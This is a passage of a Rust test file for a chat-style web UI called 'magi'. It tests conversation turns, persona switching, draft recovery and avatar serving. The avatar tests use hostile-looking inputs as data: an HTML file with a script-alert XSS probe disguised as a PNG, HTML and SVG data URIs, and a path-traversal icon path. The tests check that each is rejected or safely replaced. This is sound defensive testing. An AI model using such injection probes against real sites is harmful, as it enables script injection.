11208 body: "magi: actual persona words".into(),
11209 at: Timestamp::now(),
11210 attachments: vec![],
11211 usage: None,
11212 breaks: None,
11213 messages: vec![],
11214 posted_by: None,
11215 });
11216 ui.talks.put(&mut conversation).unwrap();
11217 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11218 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
11219 assert_eq!(
11220 view.talk.turns[1].messages[0].sender,
11221 Some(talk::Sender::Operator)
11222 );
11223 assert_eq!(
11224 view.talk.turns[1].messages[1].sender,
11225 Some(talk::Sender::Magi)
11226 );
11227 assert_eq!(
11228 view.talk.turns[2].messages[0]
11229 .reply
11230 .as_ref()
11231 .unwrap()
11232 .sender,
11233 Some(talk::Sender::Magi)
11234 );
11235 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
11236 }
11237
11238 #[tokio::test]
11239 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
11240 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
11241 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11242 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
11243 let _ = magi_icon_put(
11244 State(ui.clone()),
11245 Json(MagiIconUpload { icon: icon.into() }),
11246 )
11247 .await
11248 .unwrap();
11249 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11250 assert_ne!(original, changed);
11251 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11252 let response = magi_avatar(
11253 State(ui.clone()),
11254 Query(AvatarQuery {
11255 persona: None,
11256 builtin: None,
11257 }),
11258 )
11259 .await;
11260 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
11261 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
11262 assert_eq!(
11263 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
11264 "nosniff"
11265 );
11266 for bad in [
11267 "data:image/png;base64,PGh0bWw+".to_owned(),
11268 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
11269 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
11270 ] {
11271 assert!(save_magi_icon(home.path(), &bad).is_err());
11272 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11273 }
11274 let restarted = Arc::new(Ui::new(
11276 Queue::at(home.path().join("queue")),
11277 Questions::at(home.path().join("questions")),
11278 Talks::at(home.path().join("talks")),
11279 home.path().join("runs"),
11280 home.path().to_path_buf(),
11281 repo,
11282 ));
11283 assert_eq!(
11284 magi_icon_get(State(restarted.clone())).await.0["avatar"],
11285 changed
11286 );
11287 let view = TalkView::with_config(
11288 restarted.talks.get(&id).unwrap(),
11289 false,
11290 None,
11291 &restarted.home,
11292 );
11293 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
11294 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
11295 let response = magi_avatar(
11296 State(ui.clone()),
11297 Query(AvatarQuery {
11298 persona: None,
11299 builtin: None,
11300 }),
11301 )
11302 .await;
11303 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
11304 .await
11305 .unwrap();
11306 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
11307 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
11308 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
11309 let _ = magi_icon_delete(State(ui)).await.unwrap();
11310 }
11311
11312 async fn avatar(
11314 ui: &Arc<Ui>,
11315 id: &str,
11316 persona: Option<&str>,
11317 builtin: bool,
11318 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
11319 let res = talk_avatar(
11320 State(Arc::clone(ui)),
11321 Path(id.to_owned()),
11322 Query(AvatarQuery {
11323 persona: persona.map(str::to_owned),
11324 builtin: builtin.then(|| "1".to_owned()),
11325 }),
11326 )
11327 .await
11328 .expect("an avatar is never an error response");
11329 let h = res.headers();
11330 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
11331 let nosniff = h
11332 .get(header::X_CONTENT_TYPE_OPTIONS)
11333 .is_some_and(|v| v == "nosniff");
11334 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
11335 let status = res.status();
11336 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11337 .await
11338 .expect("body")
11339 .to_vec();
11340 (status, ct, nosniff, csp, body)
11341 }
11342
11343 fn tiny_png() -> Vec<u8> {
11344 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
11345 b.extend_from_slice(&[0u8; 32]);
11346 b
11347 }
11348
11349 #[tokio::test]
11350 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
11351 let res = operator_avatar().await;
11352 assert_eq!(res.status(), StatusCode::OK);
11353 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
11354 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
11355 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
11356 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
11357 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11358 .await
11359 .unwrap();
11360 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
11361 assert_ne!(
11362 persona_icon::operator_svg(),
11363 persona_icon::builtin_svg("default")
11364 );
11365 }
11366
11367 #[tokio::test]
11368 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
11369 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
11370 for p in [
11371 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
11372 ] {
11373 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
11374 assert_eq!(status, StatusCode::OK, "{p}");
11375 assert_eq!(ct, "image/svg+xml", "{p}");
11376 assert!(nosniff && csp, "{p}");
11377 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
11378 }
11379 let own = avatar(&ui, &id, None, false).await;
11381 let default = avatar(&ui, &id, Some("default"), false).await;
11382 assert_eq!(own.4, default.4);
11383 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
11384 assert_eq!(unknown.1, "image/svg+xml");
11385 }
11386
11387 #[tokio::test]
11388 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
11389 let dir = TempDir::new().expect("icons");
11390 let good = dir.path().join("good.png");
11391 std::fs::write(&good, tiny_png()).unwrap();
11392 let spoof = dir.path().join("spoof.png");
11393 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
11394 let big = dir.path().join("big.png");
11395 let mut bytes = tiny_png();
11396 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
11397 std::fs::write(&big, bytes).unwrap();
11398 let missing = dir.path().join("missing.png");
11399 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
11400 let extra = format!(
11401 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
11402 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
11403 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
11404 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
11405 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
11406 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
11407 uri(&good),
11408 uri(&spoof),
11409 uri(&big),
11410 uri(&missing),
11411 );
11412 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11413
11414 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
11415 assert_eq!(
11416 (status, ct.as_str(), nosniff),
11417 (StatusCode::OK, "image/png", true)
11418 );
11419 assert_eq!(body, tiny_png());
11420 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
11421 assert_eq!(ct, "image/png", "data URI");
11422
11423 for p in ["misato", "asuka", "shinji", "magi"] {
11424 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
11425 assert_eq!(
11426 (status, ct.as_str(), csp),
11427 (StatusCode::OK, "image/svg+xml", true),
11428 "{p}"
11429 );
11430 assert!(body.starts_with(b"<svg"), "{p}");
11431 }
11432 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
11434 assert_eq!(ct, "image/svg+xml");
11435 }
11436
11437 #[tokio::test]
11438 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
11439 let oversized = format!(
11440 "data:image/png;base64,{}",
11441 "A".repeat(persona_icon::ICON_MAX_BYTES)
11442 );
11443 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
11444 let extra = format!(
11445 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
11446 );
11447 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11448 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11449 .await
11450 .expect("detail with invalid icon");
11451 assert!(detail.personas.iter().any(|p| p.id == "custom"));
11452 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
11453 assert_eq!(status, StatusCode::OK);
11454 assert_eq!(ct, "image/svg+xml");
11455 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
11456 let Json(view) = talk_persona(
11457 State(Arc::clone(&ui)),
11458 Path(id.clone()),
11459 Json(TalkPersona {
11460 persona: "custom".into(),
11461 }),
11462 )
11463 .await
11464 .expect("persona switch with invalid icon");
11465 assert_eq!(view.talk.persona, "custom");
11466 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
11467 }
11468 }
11469
11470 #[tokio::test]
11471 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
11472 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11473 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
11474 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
11475 assert_eq!(
11476 (status, ct.as_str(), nosniff, csp),
11477 (StatusCode::OK, "image/svg+xml", true, true)
11478 );
11479 }
11480
11481 #[tokio::test]
11482 async fn the_talk_view_carries_server_built_avatar_urls_only() {
11483 let (_t, _h, ui, id, _repo) =
11484 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
11485 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11486 .await
11487 .expect("detail");
11488 let json = serde_json::to_string(&detail).unwrap();
11489 assert!(
11490 !json.contains("secret"),
11491 "the icon setting must not leak: {json}"
11492 );
11493 assert!(
11494 detail
11495 .view
11496 .persona_avatar
11497 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
11498 );
11499 assert_eq!(
11500 detail.view.operator_avatar,
11501 format!(
11502 "/avatars/operator.svg?v={}",
11503 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
11504 )
11505 );
11506 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
11507 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
11508 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
11509 assert!(rei.avatar.contains("persona=rei&v="));
11510 assert_ne!(
11511 rei.avatar.split("&v=").nth(1),
11512 plain.avatar.split("&v=").nth(1)
11513 );
11514 }
11515
11516 #[tokio::test]
11517 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
11518 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11519 let cfg = config_for(&repo).await.unwrap();
11520 for arrived in [false, true] {
11521 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
11522 let observed = ui.queued_generation(&id);
11523 let talk = ui.talks.get(&id).unwrap();
11524 if arrived {
11525 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
11526 }
11527 let mut settling = std::pin::pin!(settle_settings_turn(
11528 talk,
11529 ui.talks.clone(),
11530 cfg.clone(),
11531 id.clone(),
11532 turn,
11533 observed
11534 ));
11535 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
11536 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
11537 assert_eq!(first.is_pending(), arrived);
11538 if arrived {
11539 assert!(!settling.await);
11540 }
11541 assert!(!ui.is_thinking(&id));
11542 }
11543 }
11544
11545 #[tokio::test]
11546 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
11547 let tmp = TempDir::new().expect("tempdir");
11548 let repo = tmp.path().join("repo");
11549 std::fs::create_dir_all(&repo).expect("repo dir");
11550 std::fs::write(
11551 repo.join("magi.toml"),
11552 format!(
11553 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
11554 ),
11555 )
11556 .expect("write magi.toml");
11557 let home = TempDir::new().expect("temp home");
11558 let talks = Talks::at(home.path().join("talks"));
11559 let ui = Arc::new(
11560 Ui::new(
11561 Queue::at(home.path().join("queue")),
11562 Questions::at(home.path().join("questions")),
11563 talks.clone(),
11564 home.path().join("runs"),
11565 home.path().to_path_buf(),
11566 repo.clone(),
11567 )
11568 .with_worktrees_root(home.path().join("wt")),
11569 );
11570 let cfg = config_for(&repo).await.expect("discover config");
11571 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11572 let id = talk.id.clone();
11573 let call = |persona: &str| {
11574 talk_persona(
11575 State(Arc::clone(&ui)),
11576 Path(id.clone()),
11577 Json(TalkPersona {
11578 persona: persona.to_owned(),
11579 }),
11580 )
11581 };
11582
11583 let unknown = call("nobody").await.expect_err("unknown persona");
11584 assert_eq!(
11585 unknown.status,
11586 StatusCode::BAD_REQUEST,
11587 "{}",
11588 unknown.message
11589 );
11590
11591 {
11592 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11595 let busy = call("rei").await.expect_err("busy talk");
11596 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11597 assert!(
11598 busy.message.contains("a talk turn is running"),
11599 "{}",
11600 busy.message
11601 );
11602 drop(guard);
11603 }
11604 assert_eq!(talks.get(&id).expect("reload").persona, "");
11605
11606 let Json(view) = call("gendo").await.expect("switch to a configured persona");
11607 assert_eq!(view.talk.persona, "gendo");
11608 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
11609 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11610 for chosen in ["default", "gendo", "rei", "gendo"] {
11612 let Json(view) = call(chosen).await.expect("immediate consecutive change");
11613 assert!(!view.thinking);
11614 assert!(!ui.is_thinking(&id));
11615 }
11616
11617 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11618 .await
11619 .expect("detail");
11620 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
11621 assert_eq!(ids.first(), Some(&"default"));
11622 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
11623
11624 let Json(view) = call("default").await.expect("back to default");
11625 assert_eq!(view.talk.persona, "");
11626
11627 let mut closed = talks.get(&id).expect("reload");
11628 talk::close(&mut closed, &talks).expect("close");
11629 let refused = call("rei").await.expect_err("closed talk");
11630 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11631 assert!(
11632 refused.message.contains("takes no more turns"),
11633 "{}",
11634 refused.message
11635 );
11636 }
11637
11638 #[tokio::test]
11639 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
11640 let f = Fixture::start().await;
11641 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
11642 let queue = f.queue();
11643 let mut mine = Task::new(
11644 "rename the loader".to_owned(),
11645 "rename the loader".to_owned(),
11646 PathBuf::from("/repo/magi"),
11647 Source::Agent {
11648 run: talk_id.clone(),
11649 node: "chat".to_owned(),
11650 },
11651 );
11652 queue.put(&mut mine).expect("file the task");
11653 let mut theirs = Task::new(
11654 "unrelated".to_owned(),
11655 "unrelated".to_owned(),
11656 PathBuf::from("/repo/magi"),
11657 Source::Human,
11658 );
11659 queue.put(&mut theirs).expect("file the task");
11660
11661 let res = f.get(&format!("/api/talks/{talk_id}")).await;
11662 assert_eq!(res.status, 200, "{}", res.body);
11663 let body = res.json();
11664 assert_eq!(
11665 body["status"], "open",
11666 "filing a task does not close a talk"
11667 );
11668 let tasks = body["tasks"].as_array().expect("tasks array");
11669 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11670 assert_eq!(tasks[0]["id"], mine.id);
11671 }
11672
11673 #[tokio::test]
11674 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11675 let (_tmp, _repo, f) = talk_fixture().await;
11676 let id = f.post("/api/talks", None).await.json()["id"]
11677 .as_str()
11678 .expect("id")
11679 .to_owned();
11680
11681 let res = f
11682 .post(
11683 &format!("/api/talks/{id}/say"),
11684 Some(r#"{"text":"what does the queue module do?"}"#),
11685 )
11686 .await;
11687 assert_eq!(res.status, 202, "{}", res.body);
11688 let queued = res.json();
11689 let turns = queued["turns"].as_array().expect("turns array");
11690 assert_eq!(
11691 turns.len(),
11692 1,
11693 "the answer reflects only what is on disk the instant it is sent, \
11694 before the agent's turn - which can run for the whole of \
11695 `[graph] timeout_talk` - has a chance to land: {queued}"
11696 );
11697 assert_eq!(turns[0]["who"], "operator");
11698 assert_eq!(turns[0]["body"], "what does the queue module do?");
11699 assert_eq!(
11700 queued["thinking"], true,
11701 "the accepted response exposes the background turn claim: {queued}"
11702 );
11703
11704 let mut turns_after = 1;
11705 for _ in 0..SETTLE_STEPS {
11706 let detail = f.get(&format!("/api/talks/{id}")).await.json();
11707 turns_after = detail["turns"].as_array().expect("turns array").len();
11708 if turns_after == 2 {
11709 break;
11710 }
11711 tokio::time::sleep(Duration::from_millis(10)).await;
11712 }
11713 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
11714 }
11715
11716 #[tokio::test]
11743 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
11744 let tmp = TempDir::new().expect("tempdir");
11745 let repo = tmp.path().join("repo");
11746 std::fs::create_dir_all(&repo).expect("repo dir");
11747 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11748 let home = TempDir::new().expect("temp home");
11749 let talks = Talks::at(home.path().join("talks"));
11750 let ui = Arc::new(
11751 Ui::new(
11752 Queue::at(home.path().join("queue")),
11753 Questions::at(home.path().join("questions")),
11754 talks.clone(),
11755 home.path().join("runs"),
11756 home.path().to_path_buf(),
11757 repo.clone(),
11758 )
11759 .with_worktrees_root(home.path().join("wt")),
11760 );
11761 let cfg = config_for(&repo).await.expect("discover config");
11762
11763 for delay in 0..40u32 {
11764 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11765 let id = talk.id.clone();
11766
11767 let handler = tokio::spawn(talk_say(
11768 State(Arc::clone(&ui)),
11769 Path(id.clone()),
11770 Ok(Json(NewTalkTurn {
11771 reply_to: None,
11772 text: "what does the queue module do?".to_owned(),
11773 attachments: Vec::new(),
11774 })),
11775 ));
11776 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
11777 handler.abort();
11778 let _ = handler.await;
11781
11782 let mut turns = 0;
11783 for _ in 0..SETTLE_STEPS {
11784 if let Ok(fresh) = talks.get(&id) {
11785 turns = fresh.turns.len();
11786 if turns != 1 {
11787 break;
11788 }
11789 }
11790 tokio::time::sleep(Duration::from_millis(10)).await;
11791 }
11792 assert_ne!(
11793 turns, 1,
11794 "delay {delay}: talk {id} recorded the operator's turn but \
11795 the agent never answered - the reply task was never \
11796 started after the handler future was dropped"
11797 );
11798 }
11799 }
11800
11801 #[tokio::test]
11846 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
11847 let tmp = TempDir::new().expect("tempdir");
11848 let repo = tmp.path().join("repo");
11849 std::fs::create_dir_all(&repo).expect("repo dir");
11850 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11851 let home = TempDir::new().expect("temp home");
11852 let talks = Talks::at(home.path().join("talks"));
11853 let ui = Arc::new(
11854 Ui::new(
11855 Queue::at(home.path().join("queue")),
11856 Questions::at(home.path().join("questions")),
11857 talks.clone(),
11858 home.path().join("runs"),
11859 home.path().to_path_buf(),
11860 repo.clone(),
11861 )
11862 .with_worktrees_root(home.path().join("wt")),
11863 );
11864 let cfg = config_for(&repo).await.expect("discover config");
11865
11866 for attempt in 0..3u32 {
11867 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11868 let id = talk.id.clone();
11869 let turn_guard = ui
11872 .begin_talk_turn(&id)
11873 .expect("claim the turn")
11874 .expect("a fresh talk owes nobody a turn");
11875
11876 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
11877 let (release_tx, release_rx) = std::sync::mpsc::channel();
11878 ui.set_busy_queue_gate(BusyQueueGate {
11879 reached: reached_tx,
11880 release: release_rx,
11881 });
11882
11883 let handler = tokio::spawn(talk_say(
11884 State(Arc::clone(&ui)),
11885 Path(id.clone()),
11886 Ok(Json(NewTalkTurn {
11887 reply_to: None,
11888 text: "what does the queue module do?".to_owned(),
11889 attachments: Vec::new(),
11890 })),
11891 ));
11892
11893 tokio::time::timeout(Duration::from_secs(5), reached_rx)
11898 .await
11899 .unwrap_or_else(|_| {
11900 panic!(
11901 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
11902 )
11903 })
11904 .expect("the busy branch dropped the gate without using it");
11905
11906 let running = talks.get(&id).expect("reload talk");
11913 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
11914
11915 handler.abort();
11919 let _ = handler.await;
11920
11921 let _ = release_tx.send(());
11927
11928 let mut fresh = talks.get(&id).expect("reload talk");
11931 for _ in 0..SETTLE_STEPS {
11932 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
11933 break;
11934 }
11935 tokio::time::sleep(Duration::from_millis(10)).await;
11936 fresh = talks.get(&id).expect("reload talk");
11937 }
11938 assert!(
11939 fresh.pending.is_empty() && fresh.turns.len() == 2,
11940 "attempt {attempt}: talk {id} left the operator's text queued \
11941 with no drainer - the reclaimed turn was dropped along with \
11942 the handler future (pending {:?}, {} turns)",
11943 fresh.pending,
11944 fresh.turns.len()
11945 );
11946 }
11947 }
11948
11949 #[tokio::test]
11950 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11951 let (_tmp, _repo, f) = talk_fixture().await;
11952 let id = f.post("/api/talks", None).await.json()["id"]
11953 .as_str()
11954 .expect("id")
11955 .to_owned();
11956 let store = f.talks();
11957 let mut recovered = store.get(&id).expect("opened talk");
11958 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11959 .expect("persist pending draft without a live turn");
11960
11961 let edited = f
11962 .post(
11963 &format!("/api/talks/{id}/pending/edit"),
11964 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11965 )
11966 .await;
11967 assert_eq!(edited.status, 200, "{}", edited.body);
11968 assert!(edited.json()["thinking"].as_bool().unwrap());
11969
11970 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11971 for _ in 0..SETTLE_STEPS {
11972 if detail["turns"].as_array().expect("turns").len() == 2 {
11973 break;
11974 }
11975 tokio::time::sleep(Duration::from_millis(10)).await;
11976 detail = f.get(&format!("/api/talks/{id}")).await.json();
11977 }
11978 let turns = detail["turns"].as_array().expect("turns");
11979 assert_eq!(
11980 turns.len(),
11981 2,
11982 "the recovered draft must run once: {detail}"
11983 );
11984 assert_eq!(turns[0]["body"], "corrected");
11985 assert_eq!(detail["pending"], "");
11986 }
11987
11988 #[tokio::test]
11989 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11990 let tmp = TempDir::new().expect("tempdir");
11991 let repo = tmp.path().join("repo");
11992 std::fs::create_dir_all(&repo).expect("repo dir");
11993 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11994 let f = Fixture::with_repo(repo).await;
11995 let id = f.post("/api/talks", None).await.json()["id"]
11996 .as_str()
11997 .expect("id")
11998 .to_owned();
11999 let store = f.talks();
12000 let mut recovered = store.get(&id).expect("opened talk");
12001 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
12002 .expect("persist pending draft without a live turn");
12003
12004 let refused = f
12005 .post(
12006 &format!("/api/talks/{id}/say"),
12007 Some(r#"{"text":"new message"}"#),
12008 )
12009 .await;
12010 assert_eq!(refused.status, 409, "{}", refused.body);
12011 assert!(refused.body.contains("resume"), "{}", refused.body);
12012 let saved = store.get(&id).expect("draft remains after refusal");
12013 assert!(saved.turns.is_empty());
12014 assert_eq!(saved.pending, "saved before restart");
12015
12016 let say_path = format!("/api/talks/{id}/say");
12017 let (first, second) = tokio::join!(
12018 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
12019 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
12020 );
12021 assert_eq!(first.status, 409, "{}", first.body);
12022 assert_eq!(second.status, 409, "{}", second.body);
12023 let saved = store
12024 .get(&id)
12025 .expect("draft remains after concurrent refusals");
12026 assert!(saved.turns.is_empty());
12027 assert_eq!(saved.pending, "saved before restart");
12028
12029 let resumed = f
12030 .post(&format!("/api/talks/{id}/pending/resume"), None)
12031 .await;
12032 assert_eq!(resumed.status, 202, "{}", resumed.body);
12033 let duplicate = f
12034 .post(&format!("/api/talks/{id}/pending/resume"), None)
12035 .await;
12036 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
12037
12038 for _ in 0..SETTLE_STEPS {
12039 if store.get(&id).expect("talk").turns.len() == 2 {
12040 break;
12041 }
12042 tokio::time::sleep(Duration::from_millis(10)).await;
12043 }
12044 let finished = store.get(&id).expect("finished talk");
12045 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12046 assert_eq!(finished.turns[0].body, "saved before restart");
12047 assert!(finished.pending.is_empty());
12048 }
12049
12050 #[tokio::test]
12051 async fn an_image_only_recovered_draft_resumes_without_text() {
12052 let (_tmp, _repo, f) = talk_fixture().await;
12053 let id = f.post("/api/talks", None).await.json()["id"]
12054 .as_str()
12055 .expect("id")
12056 .to_owned();
12057 let uploaded = f
12058 .post_bytes(
12059 &format!("/api/talks/{id}/attachments"),
12060 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
12061 PNG_BYTES,
12062 )
12063 .await;
12064 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
12065 let attachment = f
12066 .talks()
12067 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
12068 .expect("attachment metadata")
12069 .expect("stored attachment");
12070 let store = f.talks();
12071 let mut recovered = store.get(&id).expect("opened talk");
12072 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
12073
12074 let resumed = f
12075 .post(&format!("/api/talks/{id}/pending/resume"), None)
12076 .await;
12077 assert_eq!(resumed.status, 202, "{}", resumed.body);
12078 for _ in 0..SETTLE_STEPS {
12079 if store.get(&id).expect("talk").turns.len() == 2 {
12080 break;
12081 }
12082 tokio::time::sleep(Duration::from_millis(10)).await;
12083 }
12084 let finished = store.get(&id).expect("finished talk");
12085 assert_eq!(finished.turns.len(), 2, "{finished:?}");
12086 assert!(finished.turns[0].body.is_empty());
12087 assert_eq!(finished.turns[0].attachments.len(), 1);
12088 assert!(finished.pending_attachments.is_empty());
12089 }
12090
12091 #[tokio::test]
12092 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
12093 let (_tmp, _repo, f) = talk_fixture().await;
12094 let id = f.post("/api/talks", None).await.json()["id"]
12095 .as_str()
12096 .expect("id")
12097 .to_owned();
12098 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
12099 assert_eq!(closed.status, 200, "{}", closed.body);
12100 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12101 .expect("serialize closed talk");
12102 for (path, body) in [
12103 (format!("/api/talks/{id}/pending/resume"), None),
12104 (
12105 format!("/api/talks/{id}/pending/clear"),
12106 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
12107 ),
12108 (
12109 format!("/api/talks/{id}/pending/edit"),
12110 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
12111 ),
12112 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
12113 ] {
12114 let response = f.post(&path, body).await;
12115 assert_eq!(response.status, 409, "{}", response.body);
12116 }
12117 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
12118 .expect("serialize closed talk");
12119 assert_eq!(
12120 after_clear, before_clear,
12121 "clear must not rewrite a closed talk"
12122 );
12123 }
12124
12125 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
12128
12129 #[tokio::test]
12130 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
12131 let tmp = TempDir::new().expect("tempdir");
12132 let repo = tmp.path().join("repo");
12133 std::fs::create_dir_all(&repo).expect("repo dir");
12134 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
12135 let f = Fixture::with_repo(repo).await;
12136 let id_a = f.post("/api/talks", None).await.json()["id"]
12137 .as_str()
12138 .unwrap()
12139 .to_owned();
12140 let id_b = f.post("/api/talks", None).await.json()["id"]
12141 .as_str()
12142 .unwrap()
12143 .to_owned();
12144
12145 let a = f
12146 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
12147 .await;
